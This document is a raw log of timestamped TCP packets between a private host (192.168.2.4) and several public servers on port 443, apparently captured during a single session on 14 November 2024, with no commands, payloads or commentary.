Nov 14, 2024 20:43:10.144397020 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.144468069 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.144547939 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.144577980 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.145970106 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.145987988 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.152725935 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.152837038 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.152849913 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.158992052 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:10.159028053 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:10.159049988 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:10.159074068 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:10.159096003 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:10.159104109 CET	49820	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:10.159113884 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:10.159126997 CET	49820	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:10.159177065 CET	49820	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:10.159183979 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:10.167305946 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:10.167356968 CET	49820	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:10.167370081 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:10.201904058 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.201967955 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.217961073 CET	49820	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:10.217967987 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:10.249881983 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.261373997 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.261578083 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.261657000 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.261692047 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.263277054 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.263387918 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.263405085 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.265408039 CET	49820	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:10.267338991 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.267448902 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.267463923 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.275980949 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:10.276094913 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:10.276122093 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.276218891 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.276233912 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.276237011 CET	49820	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:10.276249886 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:10.276880980 CET	49820	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:10.276967049 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:10.277479887 CET	49820	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:10.326383114 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.326446056 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.372656107 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.378237009 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.380230904 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.380270004 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.380352974 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.380369902 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.382225990 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.382827044 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.385870934 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.386147976 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.386179924 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.393429041 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.393517971 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.393549919 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.438807964 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.438958883 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.438992023 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.489331961 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.499217033 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.502165079 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.502249956 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.502315998 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.502335072 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.502409935 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.502504110 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.502537966 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.502599001 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.502787113 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.516602993 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.516716957 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.516779900 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.516848087 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.517075062 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.556011915 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.610622883 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.610654116 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.619481087 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.619574070 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.619599104 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.619707108 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.619762897 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.619779110 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.620503902 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.620572090 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.620585918 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.630825996 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.630949974 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.631004095 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.631021023 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.631079912 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.673521996 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.673758030 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.673863888 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.673924923 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.673993111 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.674052954 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.674213886 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.674411058 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.674448013 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.674477100 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.674506903 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.674506903 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.674653053 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:10.678561926 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:10.678653002 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:10.678751945 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:10.678935051 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:10.678976059 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:11.701927900 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:11.702409029 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:11.702476025 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:11.704808950 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:11.704894066 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:11.706420898 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:11.706521988 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:11.706651926 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:11.706670046 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:11.752960920 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:11.959424973 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:11.959496975 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:11.959547043 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:11.959676027 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:11.959744930 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:11.959820986 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:11.964613914 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:11.964706898 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:11.964817047 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:11.964833975 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:11.969657898 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:11.969717026 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:11.969733000 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.017050028 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.017066002 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.064748049 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.083178997 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.083292961 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.083355904 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.083401918 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.083489895 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.083489895 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.083569050 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.083875895 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.083926916 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.083946943 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.093688011 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.093769073 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.093784094 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.141783953 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.141846895 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.190004110 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.207020998 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.207248926 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.207407951 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.207422018 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.207488060 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.207788944 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.207811117 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.210599899 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.210674047 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.210690022 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.217223883 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.217294931 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.217309952 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.260906935 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.689353943 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.690222025 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.690295935 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.690362930 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.690418005 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.690428019 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.690500021 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.690511942 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.690568924 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.690598965 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.690618038 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.690671921 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.690697908 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.690757036 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.690844059 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.690893888 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.690896034 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.690912962 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.690943003 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.691214085 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.691267014 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.691277027 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.691293001 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.691402912 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.691433907 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.691529989 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.691576958 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.691591978 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.691678047 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.691730022 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.691742897 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.691803932 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.691864967 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.691878080 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.691953897 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.692003965 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.692015886 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.692094088 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.692150116 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.692162037 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.692671061 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:12.694124937 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.922635078 CET	49823	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:12.922700882 CET	443	49823	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:14.641908884 CET	49825	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:14.641947031 CET	443	49825	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:14.642090082 CET	49825	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:14.643354893 CET	49825	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:14.643366098 CET	443	49825	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:14.650074959 CET	49826	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:14.650103092 CET	443	49826	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:14.650298119 CET	49826	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:14.657118082 CET	49826	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:14.657130957 CET	443	49826	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:15.507175922 CET	443	49826	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:15.523288012 CET	443	49825	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:15.524429083 CET	49825	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:15.524446964 CET	443	49825	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:15.524962902 CET	443	49825	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:15.525016069 CET	49825	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:15.525161028 CET	49826	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:15.525178909 CET	443	49826	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:15.525544882 CET	443	49826	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:15.526000977 CET	443	49825	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:15.526042938 CET	49825	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:15.526386976 CET	49826	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:15.526453972 CET	443	49826	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:15.526926994 CET	49825	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:15.527017117 CET	443	49825	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:15.527859926 CET	49826	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:15.527975082 CET	49825	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:15.527982950 CET	443	49825	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:15.528018951 CET	49825	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:15.528079033 CET	443	49825	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:15.571351051 CET	443	49826	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:15.586884022 CET	49825	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:15.826646090 CET	443	49825	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:15.876956940 CET	49825	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:15.876982927 CET	443	49825	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:15.878278017 CET	49825	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:15.878359079 CET	443	49825	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:15.878428936 CET	49825	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:16.025036097 CET	443	49826	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:16.080177069 CET	49826	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:16.080183983 CET	443	49826	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:16.080348015 CET	49826	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:16.080408096 CET	443	49826	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:16.080527067 CET	49826	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:16.310503960 CET	49834	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:16.310592890 CET	443	49834	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:16.310681105 CET	49834	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:16.311265945 CET	49834	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:16.311301947 CET	443	49834	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:16.315223932 CET	49835	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:16.315311909 CET	443	49835	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:16.315444946 CET	49835	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:16.315857887 CET	49835	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:16.315896988 CET	443	49835	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:18.051507950 CET	443	49834	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:18.051846981 CET	49834	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:18.051913977 CET	443	49834	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:18.052231073 CET	443	49834	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:18.052303076 CET	49834	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:18.052762985 CET	443	49834	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:18.052815914 CET	49834	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:18.052962065 CET	49834	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:18.053020000 CET	443	49834	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:18.053082943 CET	49834	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:18.053101063 CET	443	49834	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:18.056123018 CET	443	49835	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:18.056303978 CET	49835	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:18.056370020 CET	443	49835	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:18.056714058 CET	443	49835	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:18.056966066 CET	49835	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:18.057035923 CET	443	49835	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:18.057041883 CET	49835	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:18.095268011 CET	49834	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:18.099330902 CET	443	49835	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:18.110899925 CET	49835	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:18.331357956 CET	443	49834	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:18.331382036 CET	443	49834	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:18.331527948 CET	49834	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:18.331592083 CET	443	49834	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:18.332395077 CET	49834	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:18.332487106 CET	443	49834	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:18.332547903 CET	49834	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:18.580385923 CET	443	49835	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:18.580507040 CET	443	49835	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:18.580602884 CET	443	49835	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:18.580617905 CET	49835	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:18.580686092 CET	443	49835	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:18.580744028 CET	49835	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:18.580761909 CET	443	49835	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:18.581773043 CET	49835	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:18.581881046 CET	443	49835	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:18.581942081 CET	49835	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:22.119487047 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:22.119540930 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:22.119610071 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:22.119853973 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:22.119889975 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:22.855787039 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:22.855858088 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:22.857244015 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:22.857254028 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:22.857458115 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:22.865325928 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:22.907411098 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.123348951 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.123370886 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.123383999 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.123434067 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.123457909 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.123470068 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.123503923 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.238739967 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.238863945 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.238883018 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.238945007 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.238993883 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.238993883 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.291317940 CET	49838	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:23.291405916 CET	443	49838	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:23.291503906 CET	49838	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:23.291543961 CET	49839	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:23.291573048 CET	443	49839	142.250.184.196	192.168.2.4
